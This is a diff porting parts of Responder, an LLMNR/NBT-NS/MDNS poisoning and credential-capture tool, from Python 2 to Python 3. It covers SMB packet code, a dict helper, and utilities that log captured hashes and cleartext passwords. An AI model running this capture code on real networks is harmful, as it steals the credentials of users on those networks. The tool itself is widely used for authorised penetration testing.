self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2]
|
self.fields["Andxoffset"] = StructWithLenPython2or3("<i", len(CompletePacket)+32)[:2]
|
||||||
|
|
||||||
##Bcc Buff Len
|
##Bcc Buff Len
|
||||||
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
|
||||||
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]
|
||||||
|
|
||||||
|
|
||||||
class SMBTransRAPData(Packet):
|
class SMBTransRAPData(Packet):
|
||||||
|
@ -394,17 +403,16 @@ class SMBTransRAPData(Packet):
|
||||||
else:
|
else:
|
||||||
self.fields["PipeTerminator"] = "\x00\x00\x00"
|
self.fields["PipeTerminator"] = "\x00\x00\x00"
|
||||||
##Convert Path to Unicode first before any Len calc.
|
##Convert Path to Unicode first before any Len calc.
|
||||||
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
|
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le').decode('latin-1')
|
||||||
|
|
||||||
##Data Len
|
##Data Len
|
||||||
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
self.fields["TotalParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
|
||||||
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
self.fields["ParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
|
||||||
|
|
||||||
##Packet len
|
##Packet len
|
||||||
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["PeekNamedPipe"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
|
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["PeekNamedPipe"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
|
||||||
|
|
||||||
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
|
self.fields["ParamOffset"] = StructWithLenPython2or3("<i", len(FindRAPOffset)+32)[:2]
|
||||||
##Bcc Buff Len
|
##Bcc Buff Len
|
||||||
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
|
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
|
||||||
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]
|
||||||
|
|
||||||
|
|
|
@ -1,20 +1,9 @@
|
||||||
#!/usr/bin/env python
|
import sys
|
||||||
# This file is part of Responder, a network take-over set of tools
|
try:
|
||||||
# created and maintained by Laurent Gaffie.
|
|
||||||
# email: laurent.gaffie@gmail.com
|
|
||||||
# This program is free software: you can redistribute it and/or modify
|
|
||||||
# it under the terms of the GNU General Public License as published by
|
|
||||||
# the Free Software Foundation, either version 3 of the License, or
|
|
||||||
# (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This program is distributed in the hope that it will be useful,
|
|
||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
# GNU General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU General Public License
|
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
||||||
from UserDict import DictMixin
|
from UserDict import DictMixin
|
||||||
|
except ImportError:
|
||||||
|
from collections import UserDict
|
||||||
|
from collections import MutableMapping as DictMixin
|
||||||
|
|
||||||
class OrderedDict(dict, DictMixin):
|
class OrderedDict(dict, DictMixin):
|
||||||
|
|
||||||
|
@ -64,9 +53,9 @@ class OrderedDict(dict, DictMixin):
|
||||||
if not self:
|
if not self:
|
||||||
raise KeyError('dictionary is empty')
|
raise KeyError('dictionary is empty')
|
||||||
if last:
|
if last:
|
||||||
key = reversed(self).next()
|
key = next(reversed(self))
|
||||||
else:
|
else:
|
||||||
key = iter(self).next()
|
key = next(iter(self))
|
||||||
value = self.pop(key)
|
value = self.pop(key)
|
||||||
return key, value
|
return key, value
|
||||||
|
|
||||||
|
@ -77,12 +66,22 @@ class OrderedDict(dict, DictMixin):
|
||||||
inst_dict = vars(self).copy()
|
inst_dict = vars(self).copy()
|
||||||
self.__map, self.__end = tmp
|
self.__map, self.__end = tmp
|
||||||
if inst_dict:
|
if inst_dict:
|
||||||
return self.__class__, (items,), inst_dict
|
return (self.__class__, (items,), inst_dict)
|
||||||
return self.__class__, (items,)
|
return self.__class__, (items,)
|
||||||
|
|
||||||
def keys(self):
|
def keys(self):
|
||||||
return list(self)
|
return list(self)
|
||||||
|
|
||||||
|
if sys.version_info >= (3, 0):
|
||||||
|
setdefault = DictMixin.setdefault
|
||||||
|
update = DictMixin.update
|
||||||
|
pop = DictMixin.pop
|
||||||
|
values = DictMixin.values
|
||||||
|
items = DictMixin.items
|
||||||
|
iterkeys = DictMixin.keys
|
||||||
|
itervalues = DictMixin.values
|
||||||
|
iteritems = DictMixin.items
|
||||||
|
else:
|
||||||
setdefault = DictMixin.setdefault
|
setdefault = DictMixin.setdefault
|
||||||
update = DictMixin.update
|
update = DictMixin.update
|
||||||
pop = DictMixin.pop
|
pop = DictMixin.pop
|
||||||
|
@ -95,7 +94,7 @@ class OrderedDict(dict, DictMixin):
|
||||||
def __repr__(self):
|
def __repr__(self):
|
||||||
if not self:
|
if not self:
|
||||||
return '%s()' % (self.__class__.__name__,)
|
return '%s()' % (self.__class__.__name__,)
|
||||||
return '%s(%r)' % (self.__class__.__name__, self.items())
|
return '%s(%r)' % (self.__class__.__name__, list(self.items()))
|
||||||
|
|
||||||
def copy(self):
|
def copy(self):
|
||||||
return self.__class__(self)
|
return self.__class__(self)
|
||||||
|
@ -110,8 +109,13 @@ class OrderedDict(dict, DictMixin):
|
||||||
def __eq__(self, other):
|
def __eq__(self, other):
|
||||||
if isinstance(other, OrderedDict):
|
if isinstance(other, OrderedDict):
|
||||||
return len(self)==len(other) and \
|
return len(self)==len(other) and \
|
||||||
min(p==q for p, q in zip(self.items(), other.items()))
|
min(p==q for p, q in zip(list(self.items()), list(other.items())))
|
||||||
return dict.__eq__(self, other)
|
return dict.__eq__(self, other)
|
||||||
|
|
||||||
def __ne__(self, other):
|
def __ne__(self, other):
|
||||||
return not self == other
|
return not self == other
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
|
||||||
|
assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']
|
||||||
|
|
198
utils.py
198
utils.py
|
@ -22,8 +22,21 @@ import socket
|
||||||
import time
|
import time
|
||||||
import settings
|
import settings
|
||||||
import datetime
|
import datetime
|
||||||
|
import codecs
|
||||||
|
import struct
|
||||||
|
|
||||||
def RandomChallenge():
|
def RandomChallenge():
|
||||||
|
if settings.Config.PY2OR3 is "PY3":
|
||||||
|
if settings.Config.NumChal == "random":
|
||||||
|
from random import getrandbits
|
||||||
|
NumChal = b'%016x' % getrandbits(16 * 4)
|
||||||
|
Challenge = b''
|
||||||
|
for i in range(0, len(NumChal),2):
|
||||||
|
Challenge += NumChal[i:i+2]
|
||||||
|
return codecs.decode(Challenge, 'hex')
|
||||||
|
else:
|
||||||
|
return settings.Config.Challenge
|
||||||
|
else:
|
||||||
if settings.Config.NumChal == "random":
|
if settings.Config.NumChal == "random":
|
||||||
from random import getrandbits
|
from random import getrandbits
|
||||||
NumChal = '%016x' % getrandbits(16 * 4)
|
NumChal = '%016x' % getrandbits(16 * 4)
|
||||||
|
@ -40,7 +53,7 @@ def HTTPCurrentDate():
|
||||||
try:
|
try:
|
||||||
import sqlite3
|
import sqlite3
|
||||||
except:
|
except:
|
||||||
print "[!] Please install python-sqlite3 extension."
|
print("[!] Please install python-sqlite3 extension.")
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
def color(txt, code = 1, modifier = 0):
|
def color(txt, code = 1, modifier = 0):
|
||||||
|
@ -73,7 +86,7 @@ def RespondToThisIP(ClientIp):
|
||||||
if ClientIp.startswith('127.0.0.'):
|
if ClientIp.startswith('127.0.0.'):
|
||||||
return False
|
return False
|
||||||
elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
|
elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
|
||||||
print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp
|
print(color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp)
|
||||||
return False
|
return False
|
||||||
elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo:
|
elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo:
|
||||||
return False
|
return False
|
||||||
|
@ -94,10 +107,16 @@ def RespondToThisHost(ClientIp, Name):
|
||||||
return RespondToThisIP(ClientIp) and RespondToThisName(Name)
|
return RespondToThisIP(ClientIp) and RespondToThisName(Name)
|
||||||
|
|
||||||
def RespondWithIPAton():
|
def RespondWithIPAton():
|
||||||
|
if settings.Config.PY2OR3 is "PY2":
|
||||||
if settings.Config.ExternalIP:
|
if settings.Config.ExternalIP:
|
||||||
return settings.Config.ExternalIPAton
|
return settings.Config.ExternalIPAton
|
||||||
else:
|
else:
|
||||||
return settings.Config.IP_aton
|
return settings.Config.IP_aton
|
||||||
|
else:
|
||||||
|
if settings.Config.ExternalIP:
|
||||||
|
return settings.Config.ExternalIPAton.decode('latin-1')
|
||||||
|
else:
|
||||||
|
return settings.Config.IP_aton.decode('latin-1')
|
||||||
|
|
||||||
def OsInterfaceIsSupported():
|
def OsInterfaceIsSupported():
|
||||||
if settings.Config.Interface != "Not set":
|
if settings.Config.Interface != "Not set":
|
||||||
|
@ -123,7 +142,7 @@ def FindLocalIP(Iface, OURIP):
|
||||||
return ret
|
return ret
|
||||||
return OURIP
|
return OURIP
|
||||||
except socket.error:
|
except socket.error:
|
||||||
print color("[!] Error: %s: Interface not found" % Iface, 1)
|
print(color("[!] Error: %s: Interface not found" % Iface, 1))
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
|
|
||||||
# Function used to write captured hashs to a file.
|
# Function used to write captured hashs to a file.
|
||||||
|
@ -146,6 +165,34 @@ def DumpConfig(outfile, data):
|
||||||
with open(outfile,"a") as dump:
|
with open(outfile,"a") as dump:
|
||||||
dump.write(data + '\n')
|
dump.write(data + '\n')
|
||||||
|
|
||||||
|
def StructPython2or3(endian,data):
|
||||||
|
#Python2...
|
||||||
|
if settings.Config.PY2OR3 is "PY2":
|
||||||
|
return struct.pack(endian, len(data))
|
||||||
|
#Python3...
|
||||||
|
else:
|
||||||
|
return struct.pack(endian, len(data)).decode('latin-1')
|
||||||
|
|
||||||
|
def StructWithLenPython2or3(endian,data):
|
||||||
|
#Python2...
|
||||||
|
if settings.Config.PY2OR3 is "PY2":
|
||||||
|
return struct.pack(endian, data)
|
||||||
|
#Python3...
|
||||||
|
else:
|
||||||
|
return struct.pack(endian, data).decode('latin-1')
|
||||||
|
|
||||||
|
def NetworkSendBufferPython2or3(data):
|
||||||
|
if settings.Config.PY2OR3 is "PY2":
|
||||||
|
return str(data)
|
||||||
|
else:
|
||||||
|
return bytes(str(data), 'latin-1')
|
||||||
|
|
||||||
|
def NetworkRecvBufferPython2or3(data):
|
||||||
|
if settings.Config.PY2OR3 is "PY2":
|
||||||
|
return str(data)
|
||||||
|
else:
|
||||||
|
return str(data.decode('latin-1'))
|
||||||
|
|
||||||
def CreateResponderDb():
|
def CreateResponderDb():
|
||||||
if not os.path.exists(settings.Config.DatabaseFile):
|
if not os.path.exists(settings.Config.DatabaseFile):
|
||||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
|
@ -162,7 +209,7 @@ def SaveToDb(result):
|
||||||
result[k] = ''
|
result[k] = ''
|
||||||
|
|
||||||
if len(result['user']) < 2:
|
if len(result['user']) < 2:
|
||||||
print color('[*] Skipping one character username: %s' % result['user'], 3, 1)
|
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
|
||||||
text("[*] Skipping one character username: %s" % result['user'])
|
text("[*] Skipping one character username: %s" % result['user'])
|
||||||
return
|
return
|
||||||
|
|
||||||
|
@ -184,7 +231,7 @@ def SaveToDb(result):
|
||||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||||
else: # Otherwise, write JtR-style hash string to file
|
else: # Otherwise, write JtR-style hash string to file
|
||||||
outf.write(result['fullhash'].encode('utf8', 'replace') + '\n')
|
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
|
||||||
|
|
||||||
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||||
cursor.commit()
|
cursor.commit()
|
||||||
|
@ -194,38 +241,38 @@ def SaveToDb(result):
|
||||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||||
else: # Otherwise, write JtR-style hash string to file
|
else: # Otherwise, write JtR-style hash string to file
|
||||||
outf.write(result['fullhash'].encode('utf8', 'replace') + '\n')
|
outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
|
||||||
|
|
||||||
if not count or settings.Config.Verbose: # Print output
|
if not count or settings.Config.Verbose: # Print output
|
||||||
if len(result['client']):
|
if len(result['client']):
|
||||||
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
|
print(text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))))
|
||||||
|
|
||||||
if len(result['hostname']):
|
if len(result['hostname']):
|
||||||
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
|
print(text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))))
|
||||||
|
|
||||||
if len(result['user']):
|
if len(result['user']):
|
||||||
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
|
print(text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))))
|
||||||
|
|
||||||
# Bu order of priority, print cleartext, fullhash, or hash
|
# Bu order of priority, print cleartext, fullhash, or hash
|
||||||
if len(result['cleartext']):
|
if len(result['cleartext']):
|
||||||
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
|
print(text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))))
|
||||||
|
|
||||||
elif len(result['fullhash']):
|
elif len(result['fullhash']):
|
||||||
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))
|
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))))
|
||||||
|
|
||||||
elif len(result['hash']):
|
elif len(result['hash']):
|
||||||
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))
|
print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))))
|
||||||
|
|
||||||
# Appending auto-ignore list if required
|
# Appending auto-ignore list if required
|
||||||
# Except if this is a machine account's hash
|
# Except if this is a machine account's hash
|
||||||
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
|
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
|
||||||
settings.Config.AutoIgnoreList.append(result['client'])
|
settings.Config.AutoIgnoreList.append(result['client'])
|
||||||
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
|
print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1))
|
||||||
elif len(result['cleartext']):
|
elif len(result['cleartext']):
|
||||||
print color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1)
|
print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1))
|
||||||
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
|
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
|
||||||
else:
|
else:
|
||||||
print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1)
|
print(color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1))
|
||||||
text('[*] Skipping previously captured hash for %s' % result['user'])
|
text('[*] Skipping previously captured hash for %s' % result['user'])
|
||||||
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
|
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
|
||||||
cursor.commit()
|
cursor.commit()
|
||||||
|
@ -250,11 +297,11 @@ def SavePoisonersToDb(result):
|
||||||
|
|
||||||
|
|
||||||
def Parse_IPV6_Addr(data):
|
def Parse_IPV6_Addr(data):
|
||||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
if data[len(data)-4:len(data)][1] ==b'\x1c':
|
||||||
return False
|
return False
|
||||||
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
|
elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
|
||||||
return True
|
return True
|
||||||
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
|
elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -269,7 +316,7 @@ def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's per
|
||||||
for i in range(0, 32, 2):
|
for i in range(0, 32, 2):
|
||||||
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
|
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||||
|
|
||||||
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
return ''.join(list(filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))))
|
||||||
except:
|
except:
|
||||||
return "Illegal NetBIOS name"
|
return "Illegal NetBIOS name"
|
||||||
|
|
||||||
|
@ -295,72 +342,73 @@ def banner():
|
||||||
' |__|'
|
' |__|'
|
||||||
])
|
])
|
||||||
|
|
||||||
print banner
|
print(banner)
|
||||||
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
|
print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
|
||||||
print ""
|
print('')
|
||||||
print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)"
|
print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
|
||||||
print " To kill this script hit CTRL-C"
|
print(" To kill this script hit CTRL-C")
|
||||||
print ""
|
print('')
|
||||||
|
|
||||||
|
|
||||||
def StartupMessage():
|
def StartupMessage():
|
||||||
enabled = color('[ON]', 2, 1)
|
enabled = color('[ON]', 2, 1)
|
||||||
disabled = color('[OFF]', 1, 1)
|
disabled = color('[OFF]', 1, 1)
|
||||||
|
|
||||||
print ""
|
print('')
|
||||||
print color("[+] ", 2, 1) + "Poisoners:"
|
print(color("[+] ", 2, 1) + "Poisoners:")
|
||||||
print ' %-27s' % "LLMNR" + enabled
|
print(' %-27s' % "LLMNR" + enabled)
|
||||||
print ' %-27s' % "NBT-NS" + enabled
|
print(' %-27s' % "NBT-NS" + enabled)
|
||||||
print ' %-27s' % "DNS/MDNS" + enabled
|
print(' %-27s' % "DNS/MDNS" + enabled)
|
||||||
print ""
|
print('')
|
||||||
|
|
||||||
print color("[+] ", 2, 1) + "Servers:"
|
print(color("[+] ", 2, 1) + "Servers:")
|
||||||
print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
|
print(' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled))
|
||||||
print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
|
print(' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled))
|
||||||
print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
|
print(' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled))
|
||||||
print ' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled)
|
print(' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled))
|
||||||
print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
|
print(' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled))
|
||||||
print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
|
print(' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled))
|
||||||
print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
|
print(' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled))
|
||||||
print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled)
|
print(' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled))
|
||||||
print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled)
|
print(' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled))
|
||||||
print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled)
|
print(' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled))
|
||||||
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)
|
print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled))
|
||||||
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)
|
print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
|
||||||
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)
|
print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
|
||||||
print ' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)
|
print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
|
||||||
print ""
|
print('')
|
||||||
|
|
||||||
print color("[+] ", 2, 1) + "HTTP Options:"
|
print(color("[+] ", 2, 1) + "HTTP Options:")
|
||||||
print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled)
|
print(' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled))
|
||||||
print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled)
|
print(' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled))
|
||||||
print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled)
|
print(' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled))
|
||||||
print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled)
|
print(' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled))
|
||||||
#print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script
|
#print(' %-27s' % "WPAD script" + settings.Config.WPAD_Script
|
||||||
print ""
|
print('')
|
||||||
|
|
||||||
print color("[+] ", 2, 1) + "Poisoning Options:"
|
print(color("[+] ", 2, 1) + "Poisoning Options:")
|
||||||
print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled)
|
print(' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled))
|
||||||
print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)
|
print(' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled))
|
||||||
print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)
|
print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
|
||||||
print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)
|
print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
|
||||||
print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)
|
print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
|
||||||
print ""
|
print('')
|
||||||
|
|
||||||
print color("[+] ", 2, 1) + "Generic Options:"
|
print(color("[+] ", 2, 1) + "Generic Options:")
|
||||||
print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)
|
print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
|
||||||
print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)
|
print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
|
||||||
print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)
|
print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
|
||||||
|
|
||||||
if settings.Config.Upstream_Proxy:
|
if settings.Config.Upstream_Proxy:
|
||||||
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
|
print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))
|
||||||
if len(settings.Config.RespondTo):
|
|
||||||
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
|
if len(settings.Config.RespondTo):
|
||||||
if len(settings.Config.RespondToName):
|
print(' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1))
|
||||||
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
|
if len(settings.Config.RespondToName):
|
||||||
if len(settings.Config.DontRespondTo):
|
print(' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1))
|
||||||
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
|
if len(settings.Config.DontRespondTo):
|
||||||
if len(settings.Config.DontRespondToName):
|
print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
|
||||||
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
|
if len(settings.Config.DontRespondToName):
|
||||||
print "\n\n"
|
print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
|
||||||
|
print('\n\n')
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue